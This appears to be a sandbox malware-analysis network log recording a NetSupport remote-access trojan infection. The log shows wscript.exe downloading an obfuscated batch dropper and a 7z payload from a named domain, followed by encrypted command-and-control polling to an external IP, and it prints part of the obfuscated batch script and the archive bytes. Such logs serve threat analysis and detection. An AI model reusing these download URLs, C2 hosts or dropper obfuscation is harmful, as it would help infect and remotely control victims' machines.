Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.8	49697	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.8	49700	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.8	49703	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.8	49706	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.8	49707	94.158.247.23	5050	C:\ProgramData\client32.exe

Timestamp	kBytes transferred	Direction	Data
Aug 2, 2023 10:30:56.076612949 CEST	2908	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 94.158.247.23Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:
Aug 2, 2023 10:30:56.250807047 CEST	2908	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.6 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 60Connection: Keep-AliveCMD=ENCDES=1DATA=g+${ \Wbb)w}oXxf Data Raw: Data Ascii:
Aug 2, 2023 10:31:00.941154003 CEST	2910	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 235Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr4]%y-=ID3Wi7?=@Ff&t[6raL_MeF=MLX#rtr5=If'UMQYz8;-{\V{r{~t=J=JS:X>w~k=n+\|*9W_z8A ] Data Raw: Data Ascii:
Aug 2, 2023 10:31:01.118813038 CEST	2910	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.6 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 152Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr \WhE=I=n~7s4}X),,Dq,()4]%y-A9H=n :!b<DNEgAfml=@H1(BsRb'h[TjI Data Raw: Data Ascii:
Aug 2, 2023 10:31:01.423779011 CEST	2912	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=l3<(T{EVk9\|\|\|$(m$C9HR%>#?sq Data Raw: Data Ascii:
Aug 2, 2023 10:32:05.113662958 CEST	2924	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Aug 2, 2023 10:33:05.077442884 CEST	2925	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Aug 2, 2023 10:34:05.337778091 CEST	2925	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.8	49708	62.172.138.8	80	C:\ProgramData\client32.exe

Timestamp	kBytes transferred	Direction	Data
Aug 2, 2023 10:31:01.216902018 CEST	2911	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Aug 2, 2023 10:31:01.258934021 CEST	2911	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 02 Aug 2023 08:31:00 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.8	49709	62.172.138.8	80	C:\ProgramData\client32.exe

Timestamp	kBytes transferred	Direction	Data
Aug 2, 2023 10:31:01.793464899 CEST	2912	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Aug 2, 2023 10:31:01.834606886 CEST	2913	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 02 Aug 2023 08:31:01 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.8	49710	62.172.138.8	80	C:\ProgramData\client32.exe

Timestamp	kBytes transferred	Direction	Data
Aug 2, 2023 10:31:01.883049965 CEST	2914	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Aug 2, 2023 10:31:01.924959898 CEST	2914	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 02 Aug 2023 08:31:01 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.8	49697	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	Direction	Data
2023-08-02 08:30:42 UTC	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?597673 HTTP/1.1 Accept: / Accept-Language: en-CH,en-US;q=0.8,en-GB;q=0.5,en;q=0.2 UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: mangoairsoft.com Connection: Keep-Alive
2023-08-02 08:30:42 UTC	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 02 Aug 2023 08:30:42 GMT Content-Type: application/x-msdos-program Content-Length: 1908 Connection: close Last-Modified: Thu, 27 Jul 2023 14:27:09 GMT ETag: "774-60178c25fc517" Accept-Ranges: bytes
2023-08-02 08:30:42 UTC	IN	Data Raw: 40 65 63 68 6f 20 6f 66 66 0a 0a 3a 3a 20 52 31 31 66 66 73 52 73 66 73 52 62 0a 3a 3a 20 33 5a 36 66 4b 66 73 52 4b 66 73 52 62 0a 0a 73 65 74 20 22 66 64 61 61 3d 73 65 74 20 22 0a 25 66 64 61 61 25 22 66 64 67 78 76 78 63 76 78 63 3d 43 3a 5c 50 72 6f 67 22 0a 25 66 64 61 61 25 22 68 67 68 67 64 67 64 66 73 7a 3d 72 61 6d 44 22 0a 25 66 64 61 61 25 22 68 79 74 75 72 64 66 67 66 3d 61 74 61 5c 22 0a 0a 3a 3a 20 52 31 31 4b 66 73 66 66 73 52 73 73 52 73 52 73 52 52 62 0a 3a 3a 20 73 73 52 73 52 66 73 52 73 52 52 62 0a 0a 25 66 64 67 78 76 78 63 76 78 63 25 25 68 67 68 67 64 67 64 66 73 7a 25 25 68 79 74 75 72 64 66 67 66 25 0a 0a 73 65 74 20 22 66 67 64 67 68 3d 73 65 74 20 22 0a 25 66 67 64 67 68 25 22 76 62 6e 76 62 76 3d 57 73 63 72 22 0a 25 66 67 64 Data Ascii: @echo off:: R11ffsRsfsRb:: 3Z6fKfsRKfsRbset "fdaa=set "%fdaa%"fdgxvxcvxc=C:\Prog"%fdaa%"hghgdgdfsz=ramD"%fdaa%"hyturdfgf=ata\":: R11KfsffsRssRsRsRRb:: ssRsRfsRsRRb%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%set "fgdgh=set "%fgdgh%"vbnvbv=Wscr"%fgd

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.8	49700	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-02 08:30:43 UTC	2	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z HTTP/1.1 Host: mangoairsoft.com User-Agent: curl/8.0.1 Accept: /
2023-08-02 08:30:43 UTC	2	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 02 Aug 2023 08:30:43 GMT Content-Type: application/x-7z-compressed Content-Length: 2306944 Connection: close Last-Modified: Thu, 27 Jul 2023 14:02:55 GMT ETag: "233380-601786bbd2554" Accept-Ranges: bytes
2023-08-02 08:30:43 UTC	2	IN	Data Raw: 37 7a bc af 27 1c 00 04 62 94 ad 89 3b 33 23 00 00 00 00 00 25 00 00 00 00 00 00 00 bd 7d 05 34 e0 1b b1 06 4e 5d 00 06 82 cb 94 d3 b9 af f7 1e d4 db db 26 fe 12 c2 40 84 0b ca 5a 74 41 a5 34 05 82 78 3d 69 f9 1a 84 68 af 35 e1 8b 55 42 68 d8 4b a5 de e9 e9 9e 4b 42 7d 22 47 41 bd cc 0e cb d2 0c 2e 18 9d db 78 b3 e6 e2 c7 e7 36 ff 63 8a 38 ec f2 56 ac 3e a9 8a 33 ba 33 a3 7e c2 dd a8 1e 62 8e af 58 c3 d3 08 ed f6 1b 57 d8 62 c6 f4 a1 77 f7 19 db ec 8d 75 62 51 00 a2 a3 68 5b fa b4 16 0d 60 bf cc 33 29 87 ac b4 91 3e cc a8 0a e2 ee 0f b7 55 05 96 4b 13 ec 59 e2 30 7d 28 ee 67 a3 a1 37 e2 84 d2 ab 62 72 77 92 c2 79 d5 ef 15 10 2f 33 7a cb 74 f6 de 9c 0d 2c d2 67 a5 40 f4 ac 92 61 4a c2 9d d1 7f 8e f8 99 30 4b 0c 96 12 aa c4 d2 d1 f2 27 51 d6 ec 06 9e f3 fd Data Ascii: 7z'b;3#%}4N]&@ZtA4x=ih5UBhKKB}"GA.x6c8V>33~bXWbwubQh[`3)>UKY0}(g7brwy/3zt,g@aJ0K'Q
2023-08-02 08:30:43 UTC	18	IN	Data Raw: 20 a1 58 17 00 5c de 14 66 93 6e 4d e6 0f 0d ec 4e 9a f7 0d d3 c0 ec b2 50 4f 23 af b6 9c e4 9e 86 1f 2c 28 d8 72 1d 14 3a 77 40 be 76 d9 d5 08 0b 27 b4 15 6e 50 48 83 9b ba b5 39 7e 63 9a 91 da 1f 0d c4 59 da 7f 8b 43 02 34 9c f2 5d 1d 01 25 52 70 eb 3e 89 2a f0 2a e3 76 ee 1b 8c 1d 69 06 51 fc 25 bb 7a 34 17 bf 70 91 ba 22 db a5 4a 57 11 7e ab 1d c7 77 12 24 7d 1f 16 26 24 85 04 b5 d9 99 63 85 cc cd 90 34 2c 1f 24 31 0d 13 ef 05 7e 89 2f 8d 70 b9 aa 25 75 51 d5 ab 20 d1 e7 b0 d7 6a 28 f8 ad 0e e2 04 c9 e4 cc 07 bd 51 af 5a 42 18 b1 1f 10 9e ab c3 74 ae 3f d1 a6 80 be 92 8d 39 05 9a 75 7b 10 94 53 44 db 94 7d ad 05 8d 30 07 0f e0 ea e6 d4 52 23 58 6b c3 84 b0 5d 17 56 11 59 83 e3 92 ad d0 26 22 a5 70 60 77 cd 68 de 65 38 13 16 a3 33 ba 26 56 ab 03 f3 cf Data Ascii: X\fnMNPO#,(r:w@v'nPH9~cYC4]%Rp>**viQ%z4p"JW~w$}&$c4,$1~/p%uQ j(QZBt?9u{SD}0R#Xk]VY&"p`whe83&V
2023-08-02 08:30:43 UTC	34	IN	Data Raw: 38 27 45 be 2c f7 1e 6e 22 d1 5b 21 f0 a4 45 8f c4 f2 bf 48 84 4c 1d e1 d3 79 7a c1 71 5e a8 0c 3c d7 28 2c f8 dd 60 ef 73 15 a8 7f 03 20 a6 e5 39 83 fa 82 0e a9 fd 2e 46 d8 49 ca c9 18 27 60 d6 20 de 75 30 ce 3d c1 7b 16 30 1f 9b cd c6 13 d4 a6 29 f7 70 da 5a 02 ab c8 0e 09 96 79 c0 e8 13 bd e9 72 b0 3f c9 35 35 bc 9d 0a 2a 3b 79 cc aa 6e d6 a2 a9 3c 33 9a 4c 0a 5b 49 3c 74 05 9b ae cf f4 dc 59 86 ba 4a ad a5 25 f6 a7 0f 44 d7 bd b3 74 96 9d be d6 3c 03 23 e3 f5 57 41 ed 7e 70 7c d2 91 59 08 08 3b ef a6 e4 d9 b9 dc fa e5 73 56 12 cd d6 05 3f 90 7b 6f 61 fd 59 8a 79 52 13 78 cd a7 9d 97 50 f6 0b c0 b7 25 ee af b3 bc ae 55 3a 5a 7a 36 c4 a1 0a 47 bf ad 1f f6 6e 8a 7a 31 cd 2f 8d dc b1 81 6f d5 7a 05 26 80 8f 20 46 27 a4 43 cb 71 4b 3b 3f 4a e8 51 67 35 44 Data Ascii: 8'E,n"[!EHLyzq^<(,`s 9.FI'` u0={0)pZyr?55*;yn<3L[I<tYJ%Dt<#WA~p\|Y;sV?{oaYyRxP%U:Zz6Gnz1/oz& F'CqK;?JQg5D
2023-08-02 08:30:43 UTC	50	IN	Data Raw: f1 57 ce 65 46 f3 a2 05 d3 1e 75 34 50 05 ee 13 94 27 62 02 89 fd 39 1e d7 ef d0 12 c5 cc 43 30 6d 3a f1 31 33 e4 b5 e0 14 5a 6c fb cd b2 80 73 d1 c1 ea 45 51 ca 18 88 2c 52 4f 2f 3f 3a d6 b6 6e 32 e0 08 94 72 2c be 66 2c ed 90 5d b9 0b 1e 82 86 95 11 fc 15 a7 d4 43 93 71 ba 17 53 28 57 78 6a 6d 5a 5f 97 f9 26 50 b8 e7 8d e2 9b 3a 01 c3 2a b6 f5 88 e0 13 42 86 48 03 39 ac 20 c6 ab 64 85 e5 78 47 47 59 57 2b 5f 64 8e c7 21 d5 73 ec 4f 9f db f9 12 99 cc e5 dc 8b df 1a ba 8b 0d 18 ec eb ff 76 af 6a 25 5d 89 68 0e 1a 6c 55 fb c1 fa 6f d0 9f b2 e0 ba e7 bc dd 94 f6 f4 65 68 25 ed 34 22 7d 37 4c a6 68 08 3e 43 3d b5 69 ac a5 43 d5 4b d6 b3 2a 6b 77 5f 08 11 ba 63 d8 68 da 98 17 b0 45 c2 6b 3e 00 f0 f3 1c 66 97 74 79 e7 2a 03 11 23 bb 99 81 86 b2 8b e5 27 95 2d Data Ascii: WeFu4P'b9C0m:13ZlsEQ,RO/?:n2r,f,]CqS(WxjmZ_&P:BH9 dxGGYW+_d!sOvj%]hlUoeh%4"}7Lh>C=iCKkw_chEk>fty*#'-
2023-08-02 08:30:43 UTC	66	IN	Data Raw: 1d ca 0d d7 81 55 36 0f 11 a0 78 f5 8e f1 b9 74 f8 3a ef 1e b9 69 d9 da ec 8e ea b0 05 30 6a d8 f4 8f 04 61 93 9d 9f 58 55 56 b5 58 0e 4e ae e6 e5 e2 9b 6d e6 7a 78 cc 53 93 28 3f 34 a9 23 4c 29 b3 7a e1 5a c8 91 a2 ba f5 9f e4 0c 42 da ce 17 24 a7 fb a5 58 64 88 04 d0 44 6a 93 f3 c1 af e6 8d d8 87 f0 b8 85 fc a9 a6 f5 a6 ad bf 07 c1 b4 c5 c8 ed eb 26 82 b3 3c dd 10 eb 61 87 4e 2d bf 08 bf 66 28 be 12 de 14 1f 2f ab 2e a1 a8 b2 5f da 9c 41 c9 6f 6b 4c 7a 04 21 7f 82 6e e8 8e 7b 46 bc 15 e7 bd 37 b8 a7 6b c8 0a 8e a4 6f 28 99 01 7d 1d 22 b6 a5 dd e0 05 96 0b 09 c2 27 96 09 15 48 ec 80 4b d6 d7 9f 49 02 1a 08 d3 6d 93 25 c1 79 15 fc 2b c9 c9 9b a5 01 f3 e8 f9 0b 80 26 9f 07 0b 4e d1 7c 65 d1 d7 5f ae 3f a7 7c 30 91 ce c1 e8 b6 d9 6b 9c c4 29 36 be 4f ba 0b Data Ascii: U6xt:i0jaXUVXNmzxS(?4#L)zZB$XdDj&<aN-f(/._AokLz!n{F7ko(}"'HKIm%y+&N\|e_?\|0k)6O
2023-08-02 08:30:43 UTC	82	IN	Data Raw: bf 83 7f e1 a3 bc 15 5a 32 72 cd 06 d5 3b 9d 67 43 4d 24 e8 0e ea 69 ad bd f5 09 fd 0f 29 6d cd 0c 63 c8 05 e0 79 71 c5 59 d1 e6 68 c5 14 96 cb b6 a9 17 0b ef 44 1c 50 57 fe c1 a5 d3 fc d9 d6 b8 5d 39 c5 5f 0f a6 ef 5b c0 d7 36 76 9f ac 06 e9 b4 ac 98 ba 2a 38 8e d1 14 22 94 fc 9e 55 1c 12 b9 33 0b 6c 0b 8a 9a f0 21 b0 98 da 02 1e 87 5b 6f b0 ff 43 d2 c5 f0 6e 16 14 2e ed 15 9c 4e d1 ce 19 f4 b4 e7 d3 b7 b3 7f 78 8d a6 1c c2 a1 27 7e d3 15 ea 1f a2 97 89 47 7f 60 3c 4e 99 d2 bf 5e e4 8f 40 20 a1 e7 07 b4 92 02 66 ca 03 94 5d d8 29 e2 af c2 b3 f5 58 9b 32 c1 fe 0e e1 7d e8 93 e2 f7 ac 52 77 39 db a8 e4 73 9a 31 f9 cd 31 1d 7a 14 9f 20 4e 76 cb a9 2d b1 d1 66 b9 a7 ab 7e 57 e4 aa c8 c4 d4 66 34 8d 42 9d 51 c9 12 3c d5 ad 00 c1 6b 77 22 dc 77 20 22 f5 4d 57 Data Ascii: Z2r;gCM$i)mcyqYhDPW]9_[6v*8"U3l![oCn.Nx'~G`<N^@ f])X2}Rw9s11z Nv-f~Wf4BQ<kw"w "MW
2023-08-02 08:30:43 UTC	98	IN	Data Raw: 7f 7e 8e 38 2a e7 74 1b 62 ea c6 d4 7e 8d 8b 71 b9 85 58 30 83 69 5b 12 1d 4d 22 f2 39 b6 80 8c 23 3f 09 f4 45 88 f4 05 c6 18 6e dd 99 2e 0c 7a 0e d2 27 f5 2a 56 90 a8 58 99 29 58 ea fd b7 70 a1 c0 a0 d6 a9 de ce 40 a3 77 50 d5 e6 71 44 4f 43 c4 90 49 41 93 01 ed 2a af f7 08 c4 dc 07 db eb 6f 88 a1 e7 33 15 cf 62 07 a1 42 05 26 08 35 ef 95 f8 56 5d d5 6e f3 ca b1 c0 86 bd 43 4b eb 3e e6 46 44 4c 27 18 ba 4e cc d1 c2 07 c4 ec 69 87 9a c7 12 bd 71 9e 19 cd 51 df d7 a6 e2 b7 2d f2 12 5d cf 70 5b 22 99 48 d2 3b 60 1f 89 c5 0d ad 52 28 70 1a d0 81 2c b1 e7 6f 1b 33 70 22 98 bc 22 d9 75 93 f3 f0 94 ee 57 56 79 3a 52 57 2c 1b f7 2a 08 b3 7e d8 6d 2e 9e 53 79 f5 00 57 e1 4a b4 f1 9a 81 22 a2 6b dc 2a 69 dd 3d d9 d9 c9 3c 73 d0 8b 1c d5 1d 71 dd 0d c4 8d cd 21 f9 Data Ascii: ~8tb~qX0i[M"9#?En.z'VX)Xp@wPqDOCIAo3bB&5V]nCK>FDL'NiqQ-]p["H;`R(p,o3p""uWVy:RW,~m.SyWJ"k*i=<sq!
2023-08-02 08:30:43 UTC	114	IN	Data Raw: 2c 80 a3 55 08 82 d6 cf 94 59 0e 12 21 ea bd 66 f8 b6 f9 a3 c8 9d 44 56 73 93 de cf fe 6a 50 a0 d2 3f 61 97 69 79 8f dd 4f 89 1d b9 6f 39 e2 e5 26 7d e3 e1 6d 56 13 fe 72 61 dd 36 76 0f 27 7c 48 2f a1 06 5f b4 33 87 c3 6b 65 83 17 d8 a3 dc db 30 29 8b 74 45 32 60 fd 3f 79 50 1e 36 77 40 fc 8d fe 20 0d 60 94 73 8c ec 17 07 14 57 fc 17 21 80 bf be 8e c7 22 af 6e 0e 56 81 71 04 f4 c2 4f 9b 60 85 4a 9f f2 29 e0 86 db b3 f1 cc 04 f4 53 dd 94 df cb da bb 8f f9 5c ce f5 f4 9a e8 60 6e 39 8b 89 b9 99 3e 70 d5 50 07 fc 78 a7 88 8e df 3f f0 a9 10 a8 c1 b6 9b d4 4d 8b 5a f3 7e 7c 1e 14 f5 0d 5c f8 d0 41 be 0b 07 f2 a9 63 ec 24 7b 9f a4 d6 3e 13 c3 28 52 b7 08 ab 98 f2 af 3b 0c f0 16 66 a1 f7 a2 66 3a d3 40 b3 4c a2 09 13 38 69 d6 60 9c df 79 71 b4 01 47 d5 5f c7 83 Data Ascii: ,UY!fDVsjP?aiyOo9&}mVra6v'\|H/_3ke0)tE2`?yP6w@ `sW!"nVqO`J)S\`n9>pPx?MZ~\|\Ac${>(R;ff:@L8i`yqG_
2023-08-02 08:30:43 UTC	130	IN	Data Raw: 1c 1b 35 5f 31 b1 08 e7 a3 a1 9a ee ae 53 42 f1 63 d7 15 c4 71 57 52 19 fb f2 f6 65 dd bb 37 d7 68 26 a1 7d 54 6d e0 86 58 08 18 23 85 83 36 e9 c1 4b 54 29 2f b2 1b 06 90 db 09 4f c4 69 c2 e3 81 2d aa 8b e0 75 93 cc 7e 5c f2 e8 60 92 66 e2 93 90 00 fb 6d 93 cf a7 68 12 84 55 07 e3 8b 48 e9 b2 57 d4 11 d0 78 c4 b4 3a c9 3a 96 9d 04 b9 48 3f 96 53 97 7d 17 10 f0 02 86 b7 c6 54 63 55 19 70 8c ad 00 b0 0d fa 99 06 e7 0a 7b c7 da 9b 3c 06 56 7a 66 d9 9e c0 9a ac 53 99 4d 7a df b6 f7 83 2f 8d d4 f2 6e c1 97 76 fc 48 6c e8 d7 03 e8 76 44 3e b4 89 05 d1 53 11 4e 48 56 c9 90 77 36 80 7b 60 22 bb 57 40 f1 26 ee 58 69 45 52 56 af 07 4a 6d a9 20 ef 7d 5c 80 ea 8a 3e d7 ae 8a 06 10 ca ca 7b 84 3d 11 d9 0c 3a d9 d7 55 16 8a 78 4b 38 a1 4a b8 82 01 07 9e a5 4a dc 05 e3 Data Ascii: 5_1SBcqWRe7h&}TmX#6KT)/Oi-u~\`fmhUHWx::H?S}TcUp{<VzfSMz/nvHlvD>SNHVw6{`"W@&XiERVJm }\>{=:UxK8JJ
2023-08-02 08:30:43 UTC	146	IN	Data Raw: 7d db a1 98 8b 0b 32 2a 7c 4d 92 75 97 9d e5 fc 13 17 34 7d b3 4a ec c9 6e ab a0 c3 31 a2 aa 17 69 f7 4f a9 ec 5c e6 10 11 cf af a1 3c 10 9a f6 7c cc 29 dc 18 04 7a bc a9 14 8d 67 3b 22 ff 94 fd f8 c1 6a ae 8e c4 3b bd 42 ba 97 4f f3 10 34 5e ce 1d ee ac 29 b2 e3 f3 b7 5f df 35 48 03 63 7b 91 1e a6 dd 5e 42 58 e9 f4 36 05 5a ae c5 6f f5 cc 11 ef 31 d4 d1 6e e1 3f 81 eb e5 b2 48 9f 15 fb 02 90 f7 73 96 5c 38 8c 91 b5 de 6a 88 51 87 e2 fe 27 8f b4 50 9d d9 5d 8a 54 5b bb 39 f0 49 a8 4c d6 a2 aa 23 1e e6 70 fe 64 8a 95 c1 a8 e2 d0 92 f9 1f 1f b0 c9 9c b4 74 68 b8 8d 23 6d e8 f8 f8 f3 3e 74 48 d7 e3 a2 f5 60 60 a5 7b bc 1b 59 9f 33 9e ef 05 73 a8 f2 3b d6 85 37 89 3c ee 88 d3 41 b1 23 de f4 02 dd 22 0e 29 3e 01 9e 08 b1 8a b2 da 68 6b 5d 3d 0f 5f a0 ea 4d ee Data Ascii: }2*\|Mu4}Jn1iO\<\|)zg;"j;BO4^)_5Hc{^BX6Zo1n?Hs\8jQ'P]T[9IL#pdth#m>tH``{Y3s;7<A#")>hk]=_M
